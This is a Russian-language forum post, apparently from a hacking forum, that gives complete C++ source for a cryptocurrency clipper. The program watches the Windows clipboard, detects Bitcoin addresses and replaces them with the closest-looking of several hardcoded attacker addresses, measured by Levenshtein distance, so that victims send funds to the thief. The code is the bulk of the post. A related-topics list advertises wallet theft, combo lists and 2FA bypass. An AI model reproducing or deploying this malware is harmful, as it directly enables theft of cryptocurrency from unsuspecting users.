Статья Реализация крипто-клиппера с заменой адресов через расстояние Левенштейна

devqp

Специалист
Представлена реализация вредоносного ПО типа "крипто-клиппер" на C++. Программа постоянно мониторит буфер обмена Windows и автоматически заменяет обнаруженные биткоин-адреса на адреса злоумышленника, используя алгоритм сравнения строк.

Принцип работы:
1. Циклическая проверка буфера обмена с интервалом 500 мс
2. Обнаружение адресов через регулярное выражение:
Код:
(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})
3. Для каждого найденного адреса вычисляется расстояние Левенштейна до пресетов
4. Замена на наиболее похожий адрес из заданного списка
5. Автоматическое обновление содержимого буфера обмена

Ключевые функции:
• levenshteinDistance() – вычисление минимального редакционного расстояния
• CheckBit() – поиск и замена адресов с последующей установкой в буфер
• setClipboard() – низкоуровневая работа с WinAPI Clipboard

Полный код:
Код:
#define NOMINMAX
#include <windows.h>
#include <iostream>
#include <regex>
#include <string>
#include <vector>
#include <algorithm>
#include <limits>

std::string globbuff = "";

int levenshteinDistance(const std::string& s1, const std::string& s2) {
    const int len1 = s1.size();
    const int len2 = s2.size();
    std::vector<std::vector<int>> dp(len1 + 1, std::vector<int>(len2 + 1, 0));
    
    for (int i = 0; i <= len1; ++i) {
        for (int j = 0; j <= len2; ++j) {
            if (i == 0) dp[i][j] = j;
            else if (j == 0) dp[i][j] = i;
            else if (s1[i-1] == s2[j-1]) dp[i][j] = dp[i-1][j-1];
            else dp[i][j] = 1 + std::min({dp[i-1][j], dp[i][j-1], dp[i-1][j-1]});
        }
    }
    return dp[len1][len2];
}

bool setClipboard(const std::string& s) {
    if (!OpenClipboard(nullptr)) return false;
    EmptyClipboard();
    HGLOBAL hg = GlobalAlloc(GHND, s.size() + 1);
    if (!hg) {
        CloseClipboard();
        return false;
    }
    char* globalLock = static_cast<char*>(GlobalLock(hg));
    memcpy(globalLock, s.c_str(), s.size());
    GlobalUnlock(hg);
    if (!SetClipboardData(CF_TEXT, hg)) {
        CloseClipboard();
        return false;
    }
    CloseClipboard();
    return true;
}

void CheckBit(std::string& text) {
    std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39}))");
    std::smatch matches;
    size_t lastPos = 0;
    
    while (true) {
        std::string tempText = text.substr(lastPos);
        if (!std::regex_search(tempText, matches, bitcoinRegex)) break;
        
        std::string k = matches[0].str();
        std::vector<std::string> texts = {
            "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L",
            "3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy",
            "1NAQbzg6LSXUXyXu2MDuGfzxwMA7do8d3L",
            "bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
        };
        
        int minDistance = std::numeric_limits<int>::max();
        std::string closestText;
        for (const std::string& t : texts) {
            int distance = levenshteinDistance(k, t);
            if (distance < minDistance) {
                minDistance = distance;
                closestText = t;
            }
        }
        
        size_t startPos = text.find(k, lastPos);
        if (startPos != std::string::npos) {
            text.replace(startPos, k.length(), closestText);
            lastPos = startPos + closestText.length();
        } else break;
    }
    setClipboard(text);
    globbuff = text;
}

int main() {
    while (true) {
        if (OpenClipboard(NULL)) {
            HANDLE hData = GetClipboardData(CF_TEXT);
            if (hData != NULL) {
                char* pszText = static_cast<char*>(GlobalLock(hData));
                if (pszText != NULL) {
                    std::string clipboardText = pszText;
                    GlobalUnlock(hData);
                    if (clipboardText != globbuff) CheckBit(clboardText);
                }
            }
            CloseClipboard();
        }
        Sleep(500);
    }
    return 0;
}

Технические особенности:
• Реализация на C++ с использованием WinAPI
• Соответствие стандарту C11
• Алгоритм Левенштейна для минимизации визуальных отличий
• Глобальная переменная globbuff для отслеживания изменений
• Задержка 500 мс в основном цикле для снижения нагрузки
 
Похожие темы
Admin Статья N-Day эксплойты - реализация и подходы Уязвимости и взлом 0
wrangler65 From Zero to Hero: Phishing Company. Техническая реализация Все остальное 0
S Реализация онлайн бизнеса в сфере Криптообменника Ищу работу. Предлагаю свои услуги. 0
S Реализация ваших $$$ проектов Предоставляю работу. Ищу специалиста. 1
LibreCas Пресс релизы о вашем бизнесе в мировых крипто и финансовых СМИ Все остальное 1
S ₪ Комбо-листы любого гео и тематики | Гейм, Крипто, Соц сети, Банки и прочее | ULP 5kkk+ строк ₪ Аккаунты: сервисы, сайты, соц. сети 0
Admin Статья Крипто-детектив: Идем по следу транзакций. Как деанонить блокчейн. OSINT 0
Support81 «Госуслуги» по телефону? Итог — перевод в крипто-АТМ. Схемы бьют по пенсионерам Новости в сети 0
Support81 Цифровой след в $230 млн: как крипто-гении проиграли ФБР Новости в сети 0
semsvm Фармим крипто-кошельки с балансем и без.Испытай свою удачу. Способы заработка 6
АнАлЬнАя ЧуПаКаБрА Крипто казино пак без валида Готовый софт 2
L Лучшее Крипто казино и Букмекер Свободное общение 0
L Получаем доступ к чужому крипто-кошельку blockchain.com , Atomic Wallet и MetaMask Уязвимости и взлом 6
L Шифруемся используя python (Крипто контейнеры и DPAPI) Программирование 0
ananda Интересно Хакеры взломали смартфоны 20 глав крипто-компаний Израиля Новости в сети 0
АнАлЬнАя ЧуПаКаБрА Крипто кошелёк/обменник/банк Готовый софт 0
АнАлЬнАя ЧуПаКаБрА [Private Keeper] Крипто Кошелёк Готовый софт 0
J Отработаю ваши крипто логи(Кошельки,биржи) Ищу работу. Предлагаю свои услуги. 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто инвест Готовый софт 0
Denik Слив обучения по крипто-трейдингу за 37.200 рублей. Раздачи и сливы 3
L Интересно Google пропустил мошенническую рекламу, а реальная крипто-компания получила отказ Новости в сети 0
АнАлЬнАя ЧуПаКаБрА Интересно USB крипто хайп Готовый софт 1
АнАлЬнАя ЧуПаКаБрА INLINE Крипто сервис Готовый софт 3
S денежная,иногда крипто, база джмаил Раздачи и сливы 0
C Интересно Обход/снятие 2fa, вывод денег без валид почты, работа с API-KEY крипто-бирж Ищу работу. Предлагаю свои услуги. 1
АнАлЬнАя ЧуПаКаБрА INLINE Крипто биржа(XEvil/CapMonster) Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто инвест - Без валида Готовый софт 0
АнАлЬнАя ЧуПаКаБрА Крипто - Ико, кош, биржа Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто утка (кран) Готовый софт 1
C Верификация крипто бирж / Продажа готовых кошельков Ищу работу. Предлагаю свои услуги. 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто ставки Готовый софт 3
АнАлЬнАя ЧуПаКаБрА INLINE Крипто обменник Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто кошелек Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто биржа Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто кошель Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто биржа Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто биржа Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто биржа, с валидом Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто биржа Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто социальная сеть Готовый софт 0
АнАлЬнАя ЧуПаКаБрА INLINE Крипто кош . Вывод без валида Готовый софт 1
АнАлЬнАя ЧуПаКаБрА [Private Keeper] Крипто Биржа (Valid) Готовый софт 0

Название темы